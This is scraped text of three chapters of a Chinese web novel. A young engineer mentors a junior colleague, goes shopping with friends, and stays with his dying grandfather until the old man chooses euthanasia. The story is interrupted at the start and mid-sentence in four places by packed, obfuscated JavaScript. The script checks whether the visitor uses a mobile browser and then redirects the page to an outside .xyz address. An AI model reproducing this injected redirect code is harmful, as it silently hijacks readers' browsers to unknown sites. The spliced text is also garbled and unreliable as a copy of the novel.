RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765704|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始专心致志地提出自己的问题。 “就是这里,你把参数调成这个数值,那在系统运行过程中都需要根据这个数进行标定,阈值太高了,几乎不能完全达到,一般情况下系统无法达到标定值的话会报错,但你的系统没有,而且还能正常运转。” 舒明尘搜寻了一下原主记忆,解释道:“这个数值可以保证系统各方面的稳定性,而且在这个基础上这个系统的功能更全面,至于你说的几乎不能完全达到,其实还是可以的。” 他点了点屏幕,滑到了某处不起眼的地方,对盛津解释道:“可以在这里加个反馈控制系统,然后再优化一下各部分控制器,要注意调试过程中模型不能被拟合化……” 这里展示的是最终得到的完美成品,舒明尘想了想,抬起手,手环与面前的显示器配件接触处闪了下,随即“滴”的一声,表示终端已连接。 随后他调出了之前的一个模型,指着结果说道: “最后达到这样就可以了。” 盛津看了看代码又看了看结果,惊叹道:“原来还可以这样……” 随后又一脸崇拜地看着舒明尘:“前辈,你真厉害。” 舒明尘默了默,其实是原主厉害,他也就是继承者而已。 看着盛津亮晶晶的眼神,舒明尘好像理解“小迷弟”这个词了。 他思衬着开口:“其实当时也是卡了很长时间,后来才想到可以这样做,你不要灰心,以后等你自己真正做一个系统,也会遇到这种问题,慢慢想,总会想出来的。” 盛津犹犹豫豫地问道:“那前辈,就是,你想了很久才想出来解决办法,你就这么告诉我,难道不会觉得不甘心吗?” 而且他并没有像前辈那么优秀,最后如果就这么拿走了前辈的成果,还把它用在了自己的代码上,感觉像个小偷。 现在的小年轻道德感这么重啊。 舒明尘挑了挑眉,说:“可是我们学习的时候,所有的知识都来自于前辈们的经验总结,他们也没有想过不允许别人学习啊。” 看着盛津依旧不赞同的眼神,舒明尘继续说道: “你不要有负罪感,我研究的和你研究的本质上都是惠及人类的,况且现在我已经从我所研究的东西中获利了,没必要一直藏着掖着,如果你可以以我的现在为基础,研发出更高水平的系统,就可以更好地惠及人类,也包括我。” “到了那个时候,我会祝贺你。” 盛津有些不自信地问道:“我也可以吗?” 盛津在进入研发部之前一直觉得自己是有点天赋的,但进入研发部之后才发现这里遍地都是人才,他自己的那点光在这里被衬托得和普通的石子没有差别。 渐渐得自信心也就越来越低。 舒明尘给盛津鼓了鼓劲:“不试试怎么知道?” 盛津:“那如果以后,我要是能和现在的前辈一样,我要把前辈的名字加到我前面,让所有人都知道,是前辈指导的我。” 舒明尘笑了笑说道:“那我等着你让我扬名万里。” 好小子,有志气,加油干,不过到时候还是别把他名字加上去了。 舒明尘想。 毕竟他以后的名声会很烂。 47.星际新贵(10) 舒明尘在项目开发组待了一下午,盛津跟个好奇宝宝似得左问右问,到最后舒明尘感觉自己说得嘴都干了。 他看了下时间,觉得今天也差不多了,他还得去给他爷爷送饭。 虽然他觉得他爷爷看见他回去可能也不太高兴? 他爷爷跟他说的是晚上,但舒明尘是个严谨的人,他预估了下时间,等做完饭再拿到医院正好是晚上。 跟他爷爷说的要求一模一样。 嗯,就是这样,没有问题。 而且今天在盛津这已经花了很长时间了,也应该让盛津自己理一理思路,于是舒明尘起身说道:“今天就到这里吧,下次看你什么时候有时间,直接在光脑上告诉我就行。” 反正他什么时候都有空。 盛津还有点意犹未尽,但今天确实耽误前辈不少时间了,也确实不应该再打扰前辈了。 盛津:“前辈,我请你吃饭吧,我知道一家店,超级好吃……” 舒明尘摇了摇头,说道:“下次吧,我还要去趟医院。你可以去找你哥……” 吃饭。 最后两个字还没说出来,盛津就一脸可怜地望着他说道:“前辈,最近我和我哥吵架了,昨天我专门找祁哥当中间人,我哥还冲我甩脸子,我实在不想去找他了……” 在盛津的讲述中,他毫无良心地把所有的错都归到他哥身上,营造了一个懂事听话的小白花弟弟形象,听得舒明尘竟然有些动容。 于是,现在舒明尘看着旁边叽叽喳喳的盛津,揉了揉额头,不知道事情怎么发展成了这样。 盛津好奇地问道:“前辈,你还会自己做饭啊。” 舒明尘:“嗯。” 盛津:“前辈你好厉害啊。” 舒明尘内心痛苦地接受了这个赞美:“嗯。” 他的回答很简洁,加上他脸上冷淡的表情,一般人早就自觉地闭上了嘴。 但盛津就不一样了。 一则相比于他哥的“冷暴力”,舒明尘这种都不算什么。 好歹人家句句有回应。 再则,这一下午中,不管他问什么,舒明尘都十分耐心地给他讲解,他也是研究算法的,当然听得出来人家是没有藏私的。 现在舒明尘在他心里就是一个面冷心热、才华横溢、光风霁月、温柔耐心的前辈形象。 况且舒明尘对谁都是这种态度,盛津没毕业之前就曾在学校看过舒明尘当时的获奖视频,那时的前辈相比现在还有些稚嫩,但面上依旧是一副化不开的冰川模样。 青年时的舒明尘身姿挺拔地站在屏幕前,相比于他的云淡风轻,旁边的主持人则是激动得介绍这是这个比赛开设以来,第一次有人以在校生的身份获得了一等奖。 着实让他们学校风光了一把。 以至于多年后,这段视频仍完整地保存在学校里,供后辈们学习瞻仰。 盛津看着认真准备食材的前辈,就算前辈现在的表情一如既往地冷淡,但他就是觉得眼前的前辈很…… 柔软。 在烟火气的熏染下,常年不变的冰川面容似乎也有融化的迹象。 做饭这事对舒明尘来说已经轻车熟路了,他动作娴熟地打包了四份饭,递给了盛津一份,剩下的三份准备带去医院。 盛津接过来的时候还有点蒙,思维还有点卡,不知所措地问道:“也有我的一份吗?” 舒明尘好笑道:“你在旁边都等了这么久了,总不能只能闻不能吃吧?” 盛津嘿嘿一笑,说道:“谢谢前辈。” 舒明尘提着食盒,边走边问道:“我去趟医院,你回家?” 盛津哒哒地跟在后面,回道:“我也去我也去。” 舒明尘开门的手一顿,随后不知想到了什么,回绝的话在嘴里转了一圈又咽了下去,点点头说道:“行吧,不过你要不要和家里说一下?” 盛津比了个“OK”的手势,其实他已经从家里搬出去了,不说的话也没什么,但是他想以后得经常去公司,少不得和他哥打照面,还是要缓和一下关系。 万一以后他哥脾气上来了,前辈夹在他跟他哥中间也不好做。 盛津:“哥,我去趟医院。” 盛屹秒回:“你生病了?哪家医院?” 另一边盛屹已经拿着外套准备往外面走了,秘书虽然有些疑惑平日热衷于加班的老板今天怎么早下班,不过还是很有眼色地没有多问。 盛津:“没有,去医院看看沈爷爷。” 盛屹想起舒明尘好像是沈爷爷的养孙,盛津这时候去医院一趟也是应该,他前进的步子一顿,身后的秘书疑惑道:“老板?” 秘书敏锐地感知到一股低气压正从面前的老板身上蔓延开来。 不会又有部门要倒霉了吧? 他硬着头皮地准备承接老板的指令,却没想到盛屹只是挤出了一句:“我回去拿个东西,你先走吧。” 秘书:?! 这句话在他的耳朵里犹如天籁之音,生怕下一秒面前的老板改变主意,秘书忙不迭地开口:“好的。” 盛屹转身回道办公室,感受到主人去而复返,办公室灯光重新亮起。 盛屹在光脑上不紧不慢地回:“嗯。” 盛津在那边等了很久就等到了这么一个字,他撇撇嘴,关掉了对话框。 他想起最近家里要给他哥物色对象,就他哥这性格,嫁过来天天对着一尊雕像过日子,谁愿意啊。 病房里,舒明尘和盛津两个人出现的时候,陆继看着盛津啧啧称奇:“小舒的朋友?来来来坐。” 盛津还没来得及自我介绍就被豪气万丈的陆继拉到了身边。 就舒明尘这种性格还能有朋友啊?不用说,这一定是真朋友。 陆继上下打量了一下盛津,说道:“小孩长得倒是挺好的,就是体格不太壮实。” 沈确一边接过饭一边把盛津从陆继的魔爪下解救出来,虽然离开了军队,但陆继依旧保持着看谁都要以士兵的标准评判一番的习惯。 香香软软的饭摆在了他面前,加上沈确的干预,陆继十分识时务地放开了盛津选了眼前的饭。 盛津感激地看了沈爷爷一眼。 沈确咳嗽了一声,介绍道:“这是盛家的小孙子。” 盛津找准时机,彬彬有礼地说道:“陆爷爷好,我叫盛津。” 陆继“咦”了一声,说道:“盛家的孙子我见过啊,不长这样。”他记得他还当着老盛的面夸人家是个当兵的好料子。 难道时间长了,变样子了? 沈确对于陆继听话只听一半的行为十分无语,他记得之前在军队的时候也不这样,也不知道是不是因为年纪大了的缘故。 盛津适时给了个台阶:“您说的那是我哥吧?” 陆继如梦初醒地说道:“啊对对对。” 舒明尘在一旁插了句:“先吃饭吧,一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788066|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就凉了。” 也确实啊。 于是两位长辈默契地结束了话题,低头吃饭。 盛津对戛然而止的谈话表示不解,但看着眼前几个人都开始吃饭,他也象征性地扒拉了几口。 !!! 盛津一双标准的狐狸眼被他硬生生地瞪成了圆形。 这也太好吃了! 前辈那么聪明也就算了,为什么连做饭都这么好吃,盛津心里泪流满面,这样显得他很是个废物。 虽然这样想,盛津还是满口扒拉着饭,活像是一天没吃饭了一样。 因为并不知道盛津的饭量,舒明尘特地多做了点,分给盛津的食盒装的大概是一人半的量,结果没想到盛津人全吃光了。 没想到盛津人不大,饭量却不小。 舒明尘在心底评价道。 陆继也在一旁竖着大拇指称赞:“好小子,吃的真带劲,吃饭就得像你这样,回去我也说说家里那群小辈们,向你学习。” 学什么? 学像八辈子没吃过饭的吗? 沈确在心里吐槽。 尽管他们认识这么长时间了,沈确依旧对陆继这种对粗犷的推崇感到费解。 盛津不好意思地笑了笑,说让陆爷爷见笑了。 其实盛津现在都要撑死了,他觉得他现在急需一管助消化剂。 不知道是不是看出了盛津的窘迫,一旁的沈确开口:“小舒啊,你带着小津去商场转转,你们两个年轻人在一块更有话题,我们两个老的在一块也更自在。” 舒明尘点点头。 家政机器人会负责清理餐桌和餐具,那就等晚上的时候再拿消毒剂清洁一下好了。 他想。 走出病房的盛津火急火燎地跑到一个机器人前面,在屏幕上面迅速点了几下,几秒后,另一名机器人拿着几支透明药剂出现在了他们面前。 没管舒明尘疑惑的目光,盛津旋开药剂,一股脑灌了下去。 感受到胃中的食物被快速分解,他这才长舒了一口气。 一只手从旁边伸过来,是舒明尘,他捏着试剂,仔细看了看描述,缓慢读道:“促动力药剂,促进食物排空……” 下面的字他没读出来,因为药剂瓶被盛津抢回去了。 盛津涨红着脸,辩解道:“我平常都能吃这些的,今天就是没怎么运动……” 真的? 舒明尘对此持怀疑态度。 他们现在所在的地方是看诊等待区,到了晚上病人骤减,除了几个机器人在这里巡视,大厅寂静一片。 在这样的环境下,一点点声音都显得十分明显。 “噗嗤”——,声音自拐角处传来,盛津慢半拍的脑袋转了转,等看清人后愤愤开口:“江哥!” 两人的身形慢慢从死角处显漏出来,赫然是祁聿和江绪。 江绪一双眼睛弯成了月牙,戳着盛津胳膊上不存在的肌肉揶揄道:“今天没怎么运动——” 言下之意就是之前也没见你怎么运动啊。 盛津:…… 不要在前辈面前揭他的短,求求了! 接收到盛津求救的目光,江绪挑了挑眉,倒是没有继续这个话题,转过身对旁观的舒明尘说道: “老同学,又见面了。” 舒明尘微笑:“是很巧。” 但,他并不是很想遇见俩主角。 舒明尘在心里默默叹息。 48.星际新贵(11) 祁聿倒是没想到能在这里遇到舒明尘。 舒明尘确实和江绪同在一家医院不错,但据江绪所说,舒明尘很少会出现在这种人多的地方,也因此两人其实很少见面。 不过现在,他看了眼一旁咋咋呼呼的盛津,虽说是他引荐的,但他也没想到舒明尘这种性子竟然能和盛津处得不错。 难道是因为盛津这种粗神经的看不出舒明尘是个超级洁癖? 从刚刚到现在,盛津跑得飞快,舒明尘在后面快走的同时给自己的手消了消毒,然后在盛津把药剂夺走之后,舒明尘又默默地给自己的手消了消毒。 祁聿在一旁看得都替他心累。 另一边的江绪揉了揉盛津的头,问道:“你们要去哪?” 去哪?盛津晃了晃自己的蓬蓬头,好像沈爷爷说来着,但是他一心记挂着他可怜的胃,没有认真听。 舒明尘倒是直接替他回答了。 “商场。” “不过他既然身体不舒服,不如就……” “我没事我没事,前辈,我们去吧,我可以的。” 盛津原地转了几圈,展示了一下他良好的身体状况。 剩下两个人看着舒明尘拉平的嘴角不置一词。 啧。 有的时候还挺佩服盛津的,两人不约而同地想,人怎么可以有种成这样。 但舒明尘虽然一贯冷脸,不过显然不太会拒绝人,只能骑虎难下地说道:“那好吧。” 出于礼貌,舒明尘多问了一嘴:“你们两人是要去哪?” 江绪和祁聿默契一笑,说道:“商场。” 舒明尘:??? 江绪还补充了一句:“啊,就和你们一样。” 虽说医院的商场主要是为了病人设立的,但医院的医生同样拥有自由进入的权限,至于祁聿和盛津,一个作为医生的“家属”,一个作为家属的“家属”,是完全可以被带进去的。 其实去商场并不是江绪和祁聿原本的行程,但是他们预感到这一趟肯定有好戏看,不约而同地放弃了原计划。 彳亍吧。 于是舒明尘一行人各怀鬼胎地去了商场。 舒明尘单纯觉得商场人多细菌多,在想一会找个什么名头早点结束,盛津摩拳擦掌,心想一会要在前辈面前好好表现,至于剩下两个人单纯抱着一副看热闹的心思想知道盛津什么时候会发现。 他们最先踏入的是儿童游乐区。 盛津从刚开始迈进商场就在舒明尘耳边叭叭叭,一会又问他对什么感兴趣,一会又说待会舒明尘看上什么他买单。 舒明尘目视前方,一脸平静,但盛津实在是太能说了,没一会他就受不了了。 舒明尘深吸一口气,停下脚步,想告诉盛津没必要这么——热情,但盛津显然误会了他的意思。因为后者循着他的目光望去,看见了 ——玩偶区。 许多颜色形态各异的玩偶停放在透明专柜里,端着一副憨态可掬的表情静静地等待它们的主人。 看不出来前辈还有点童心未泯。 盛津想。 舒明尘的表情由疑惑变成空白再变成惊恐,眼看着盛津张着嘴要说点什么骇人听闻的话,舒明尘脱口而出:“你,去那边。” 盛津不明所以地站在一众毛茸茸前面。 虽然已经工作了几年,但他身上还是一股子稚气未脱的样子,站在这里倒是也不违和。 舒明尘本来只想拦着盛津的口无遮拦,不过此时倒是真动起了送他一只玩偶的心思。 但虽说商场里玩偶各种各样,但他指挥着盛津试了好几款,感觉总是有些差强人意,最终舒明尘把目光落在了最上面一只半人高的玩偶上。 盛津虽然不太理解为什么舒明尘喜欢玩偶不自己试一试,但他乐得给前辈当个参考,此时见舒明尘对最上面那个感兴趣,又十分殷勤地在面前的屏幕操作了一下,很快一个机器人就送来了一个一模一样的同款玩偶。 奶白色的墩墩熊虎头虎脑,盛津双手合抱,一脸乖巧地等着舒明尘审阅,还真像个未成年学生。 太合适了。 舒明尘把手环往前一抵,玩偶上的感应器亮起,“滴”的一声,在盛津茫然的目光中,一旁的机器人欢欣鼓舞地说道:“感谢您的光顾!” 舒明尘:“好了,这个玩偶送你了。” 盛津的大脑磕磕绊绊地运作,他想破头也没想明白怎么这个玩偶就落到他头上了。 “可是前辈,我都成年了。” 又不是小孩子了,抱着玩偶好奇怪。 舒明尘一脸难过,十分遗憾地说道:“可是我觉得你们两个好配,不过既然你不喜欢的话……” 盛津本来抗拒的内心又开始动摇,他从很早的时候就不玩这种软萌萌的东西了,但是前辈说他们好配,但是但是…… 挣扎了很久的盛津最后口是心非地说道:“没有没有前辈,其实我很喜欢的,哈哈……我最喜欢这个颜色的玩偶了……” 舒明尘迷之微笑:“那就好。” 在一旁的江绪和祁聿都要笑喷了。 剩下的时间盛津显然沉默了许多,祁聿经常性地看到盛津跟手里的墩墩熊大眼瞪小眼,然后陷入自我怀疑的迷茫之中。 最后盛津索性向机器人要了玩偶定型带,将这只半人高的熊固定在了背后,眼不见心不烦。 与他背对背的熊蔫哒哒地低着头,小小的绿豆眼透着几分迷惑,像是在思考为什么自己会沦落到这种境地。 毕竟它主要的目标客户是心智还未完全成熟的小孩子,一般孩子收到这么大一个玩偶只会高兴地蹦蹦跳跳,而不是像盛津这样。 这次的出行对舒明尘来说意外的不错。 对祁聿和江绪两人来说亦是。 最后分开的时候,舒明尘问盛津要不把玩偶给他,毕竟他看着盛津也不是很喜欢的样子。 盛津背着墩墩熊斩钉截铁地说了一句不要。 好歹是前辈第一次送他的东西,具有非凡的记忆,盛津端着严肃的表情想到。 其实他本来年纪不大,硬装成一副少年老成的样子很违和,跟偷穿大人衣服的小孩倒是有异曲同工之妙,舒明尘想,要不是有洁癖,他都想上手戳一戳。 不知道是不是看出来舒明尘在想什么,一只骨节分明的手指停在盛津的脸侧,在盛津还没反应过来的时候,这节手指在他的脸上轻轻地戳了戳,等盛津瞪大眼睛想抓住罪魁祸首的时候,这节莹润修长的手指被飞快地收了回去。 随后江医生熟练地插着兜,若无其事的样子让盛津都怀疑自己刚刚是不是眼花了。 盛津:“……江哥,我看见了。” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788067|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪摆出一副日常就诊的平静状态,平铺直叙道:“我知道。” 这态度简直就像是在明晃晃地告诉盛津:就是我干的,你能怎么样? 盛津:…… 他还真不能怎么样。 他转过头,想向两人控诉一下光明磊落的江医生偷摸做这种事被发现了还理直气壮,却看到舒明尘和祁聿一脸跃跃欲试地看着他。 …… 盛津都顾不上手上的东西,背着他的墩墩熊马不停蹄地跑了。 剩下三人看着跑走的盛津一脸遗憾。 舒明尘的光脑上倒是蹦出了一条消息,盛津说那些东西特地给他挑的,希望他不要嫌弃,下次有机会再找他请教系统的事。 看样子是不收不行了。 祁聿也没想到盛津这个粗神经到最后也没发现舒明尘的异样之处,只能说大概舒明尘在盛津眼里自带光环。 时间也不早了,三人挥手告别。 “有缘再见。”祁聿说。 舒明尘点了点头,灯光照进他的眼底,像是照进了一片无底的黑暗,他平淡地开口:“下次见。” 川流不息的人群中,三人保持着相对而立的姿势,谁也没有再进一步,像是不熟悉的陌生人。 病房内,舒明尘指挥着机器人拎着一堆大包小包进来的时候,沈确都以为他转性了。 他在病床上眯着眼睛上上下下扫视了舒明尘很久,纵使后者一脸无奈地解释是盛津买的,他推脱不过就拿回来了。 沈确收回目光,算是接受了这个解释。 “那小津还挺厉害的,就他治得了你。” 沈老爷子悠悠一叹,想起过去那么多年可没见舒明尘从外头拎着别人送的什么东西回来。 舒明尘往沈爷爷面前一凑,笑着说道:“哪能啊,我面前不是还有一个吗?” 他这话并不假,上天入地,如果能找出原主唯一在乎的,就是他爷爷了。 沈确在他头顶虚点了下,笑着骂道:“你这小子甜话总是一筐一筐的。” 舒明尘略有些自得地说道:“那肯定是爷爷喜欢我才说的,再说了,在爷爷面前,我可不敢说谎。” “那要这么说,还是我授意你说这些话的了?”沈确虽是带着笑意这样说,手却不自觉揉了揉额头。 他脑中的碎片没有办法进行彻底的干预,眼下,随着医疗手段逐渐丧失疗效,痛苦从脑部开始,逐渐向四肢百骸蔓延。 舒明尘暂时放下了插科打诨的念头,从柜子中取出一只药剂和两只手套,将药剂在手套上快速涂抹均匀后,舒明尘开始有技巧地按压沈确的头部。 这种药剂兼有镇痛和助眠功效,可以通过皮肤吸收快速进入人体,药效也极为迅速。但同时这种药剂具有很大的成瘾性,一般临床上只会给时日无多的患者使用,意在弥留之际减轻患者的痛苦。 随着时间的推移,沈确明显感受到了困倦,在闭上眼的最后几秒,他听见自己意识不清地说:“阿尘,以后我走了,你也要像现在这样,好好吃饭,好好……” 分不清是幻想还是现实,下一刻,他进入了更深的梦境。 很久之后,病房里才冒出了一个轻哼,不太像出自于成年人之间恶意的言语,而像幼时孩童缠着父母撒娇时那种调子,还伴随着一句很轻的话: “才不要。” 49.星际新贵(12) “警报!警报!检测到7号室患者各项体征正在下降,目前已降至安全数值以下……” “警报!警报!经检测病床各项功能完好,医生已在手术室就位,请家属放心……” 伴随着一阵阵的红色闪光,以及耳边此起彼伏的警报声,舒明尘跑的气喘吁吁,他的眼前是快速移动的病床,意识不清的沈确正被束缚带牢牢绑在上面。 机器的移动速率显然比人类快很多,况且病房到手术室的路线畅通无阻,舒明尘只能眼睁睁地看着爷爷消失在他的眼前。 没事,没事,这样很好,最起码不会耽误最佳治疗时间,他一边压下心中的恐慌一边想着。 手术室外两侧灯光极具科技质感,在保证光线的同时即使人长时间直视也不会感觉刺眼。但现在舒明尘盯着光源,不知怎么的感觉眼睛有些难受。 他伸出手揉了揉眼,一抹微热的眼泪顺着手指滑落下来,落到眼前金属质感的地面上,在特殊工艺的处理下,那一点水痕很快消失,就像从没有过一样。 “手术中”几个字还在醒目地亮着,医护人员进进出出,众多陌生名词从他们的嘴里蹦出来,舒明尘听着只觉得脑中一团浆糊,但这点声音存在了很短时间就消失了,余下的是安静窒息的呼吸声。 舒明尘深吸了口气,竭力使自己保持冷静。 没事的,前几次都没事,这次一定也没事。 等待的时间很煎熬,但幸运的是结果是好的,只不是爷爷的头部多了个探测器,医生解释说这个可以实时检测体内辐射值,以便在下一次及时作出反应。 舒明尘谢过医生,跟在病床后面慢慢往回走,长时间无知觉的站立让他的腿部有些僵硬和酸痛,只能一边慢走一边尝试恢复。 警报响起的正值深夜,舒明尘猝然被刺耳的声音吵醒,没完全清醒过来就跟着病床跑到手术室,紧张担心了两个小时,直至心中的大石落下,他回过神来才感觉自己的头刺痛无比,似乎也被嵌入了什么东西。 等舒明尘回到病房的时候,沈确早已安安稳稳地躺在了这里,检测到回到指定地点,束缚带已被自动解离,现在的爷爷呼吸均衡,除了多了个探测器,表面看上去似乎和之前一样。 舒明尘随手拉了把椅子在病床前坐下,其实他应该去睡觉,但脑海中的疼痛根本没有消退下去的迹象,反而还有愈演愈烈的趋势。 他只能不停地揉着太阳穴,以此来缓解一下。 不知道是不是最近缺少睡眠的原因,恍惚间他看到一个景象,是结束后的战场: 旗帜倾倒,尸横遍野,士兵的尸体以各种姿势堆叠在染血的地面上,而在视线的最远处,得胜的士兵在战场上搜刮着剩余的兵器,他的视线凝聚在远方几个移动的黑点上,久久不动。 直到他的眼前出现了一双暗金色的马靴,这双马靴一出现就占据了他大部分的视野,这时舒明尘才感觉到他的视角好像不太对,这并不是一个正常的视角,而像是一个几乎接近地面的视线。 他好像躺在地面上。 眼前的画面还在继续,舒明尘清楚地意识到这并不是第一个世界。 这是哪个世界?为什么他会看到这些画面? 他本想在自己的脑海中搜刮一下记忆,只是下一秒,尖锐的刺痛几乎贯穿他的大脑,舒明尘闷哼一声,再也坚持不住,就这么躺在椅子上失去了意识。 沈确醒来的时候正好看到舒明尘蜷缩在椅子上睡觉。 椅子虽不大,但平时承受一个成年男子是绰绰有余的,只是若是想在这上面睡觉真是为难它了。 舒明尘轻轻撇着眉,可见并不舒服,但或许是因为沈确这几天毫无规律的发病,折腾得舒明尘觉也睡不好,饭也吃不下,才会在昨晚直接在椅子上睡着了。 沈确躺在床上稍微活动了下,此时他才觉出他额头上的异样,在光脑上打开拍照模式,沈确才发现一个仪器被固定在了他的额头处。 应该是被他的体温熨帖地贴合人体温度,导致他一开始没有发觉。 沈确坐了起来,只是一个小小的动作,他却要全神贯注地控制他的身体才能完成。他伸手拍了拍舒明尘的肩膀,等舒明尘迷迷瞪瞪地睁开眼睛,眼前是一瓶未开封的营养液。 因为这几天爷爷时常发病,有时候舒明尘根本顾不上做饭,索性就直接备了很多营养液,觉得饿了的时候喝一个,倒也方便省事。 就是委屈爷爷跟他一块喝这个了。 沈确自己并不觉得委屈,像刚才一样,照他现在这个身体状况,日常的吃饭已经成为了很大的问题,直接喝营养液是一种简单有效的进食方法。 等舒明尘喝完营养液,沈确拍了拍身旁的位置,说道:“累坏了吧?上来再睡会吧。” 这里的床足够舒服,也很宽敞,可以同时承受两个成年男子,但舒明尘摇了摇头。 他得看着爷爷的检测器。 似是知道他心中所想,沈确继续说道:“没事的,最起码今天不会再出事了,更何况,你要是不放心,上来躺一会,不睡不就得了。” 确实是这样,按照这几次的发病频率,一般前一天发病,药效最起码会维持一天,按理来讲,今天确实是安全了。 “还是说爷爷现在生病了,阿尘嫌弃我了?”沈确最后开玩笑地说道。 “没有。” 说罢,舒明尘小心翼翼地躺在了沈确的身边,祖孙俩已经很久没有像今天这么亲密了。 “还记得我们刚见面的时候,你就那么大点,”沈确隔空比划了一下,说道,“还老是躲着我,我就在想,我的脸上是写了‘坏人’两个字吗?怎么这个小孩这么怕我?” 听爷爷提起小时候,舒明尘也自然地放松了一下。 “爷爷可不能这么冤枉我,我可没有躲着你,我当时就是,还不太习惯。” 而且也还不知道,世界上原来还是好人多的。 话题就这么开始,两人从舒明尘小时候兴致勃勃地救活了一只小金鱼,聊到他成年后在校期间拿的奖,那时候沈确作为家长被邀请参加典礼的时候,别提多高兴了。 当然这其中舒明尘打架的事情又被拎出来说了一遍。 “那时候很多想法还不成熟。”舒明尘说。 成年后再回头看小时候做过的很多事,回想那时候的很多想法,确实会有这种感觉。 渐渐地,舒明尘困意涌了上来,沈确说完一句后再没听到舒明尘的回答,于是他便知道,舒明尘已经睡着了。 沈确的头稍微偏了偏,好让两人更近地依偎在了一起,像是两只报团取暖的小鸟。 沈确被自己的想法逗笑了,他的年纪已经很大了,而且舒明尘也已经成年,实在是不适合再用“小鸟” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808980|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来作比。 但他并不想换。 他看着近在咫尺的舒明尘,寂静的病房里,他可以很清楚地听到对方均匀的呼吸声,就像舒明尘小时候一样。他心想这样就很好了,已经很好了。 最后了,睡个好觉吧。 阿尘。 沈确睁着眼,细细地感受着时间一分一秒地过去,他不想睡觉,也不想闭眼,只想在生命中最后的时光,再好好看一看他的孙子。 舒明尘难得睡了个好觉。 他醒的时候天蒙蒙黑,病房里也是黑漆漆的,应该是爷爷提前把灯关了,这里的灯到了晚上会自动开启,只有提前设置,才会产生这种情况。 舒明尘打了个哈欠,沈确在旁边问道:“睡醒了?” 前者含糊不清地“嗯”了一声,病房内亮起了暖黄色的光。 沈确做足了心理建设,才开口说道:“阿尘,我想跟你商量一件事。” 舒明尘心里有一股不详的预感,他好像隐约知道爷爷要说什么。 果然。 沈确说完后,舒明尘沉默了很久。 他没有动,但沈确能感受到舒明尘的身体陷入了僵直的状态。 舒明尘嗓音干涩:“我不想说同意。” 但沈确知道,舒明尘会同意的,就像之前他们说过的一样。 他摸了摸舒明尘的头,说道:“我理解,如果换做是我,我也不会同意。” 如果要让他同意舒明尘的安乐死决定,他也做不到。 但是现在,这个残酷的事实只能摆在舒明尘的面前。 病房里想起轻微的哭声,舒明尘抱着爷爷,他并不敢用尽全力地去拥抱,只能努力收束着自己的手脚,克制着自己激动的心情。 哭声起先很小,后来渐渐大了起来,腥咸的泪水落在两人中间,浸湿了一小块枕角,沈确拍着他的后背,无声地安慰着他。 翌日,祁聿来到病房,同他一起的还有另外两名年轻的士兵。 在众人和医生的见证下,沈确口齿清晰地表达了自己的诉求,并多次保证这是本人意愿,无其他外力影响。 舒明尘眼眶发红,但没有出声。 最后,沈确在医生的搀扶下躺进休眠仓,在按下开始后,粉红色气体开始在仓内蔓延,沈确慢慢闭上了眼睛。 直到休眠仓外显示心跳的表面变成一条直线,祁聿才放开舒明尘。 刚才在整个过程中,舒明尘几乎控制不住地上前,想停止这个仪器,被祁聿硬生生地压了下来。 此刻阻力一消失,舒明尘立刻上前,伏在休眠仓外面哭得不能自已,整间房室都充斥着他悲痛的哭声。 其余人退了出去,将剩余的时间留给了老人唯一的亲眷。 在确认沈确死亡后,医院会取出他脑中的碎片,放入特制的隔离箱中,避免泄露。然后将他的大脑再次缝合,将遗体移交给军部。 作为曾经军功累累的元帅亲信,沈确的葬礼,将由军部主持完成,这也是祁聿出现在这里的另一层原因。 “节哀。” 舒明尘对这句干巴巴的安慰没有任何反应,他麻木地跟着一群人上了车,眼神依旧空洞地停留在后面存放遗体的位置。 祁聿从看见舒明尘那一刻起,就从没有看见舒明尘如此狼狈的模样,但除了一句干涩的安慰,他也说不出再多的话。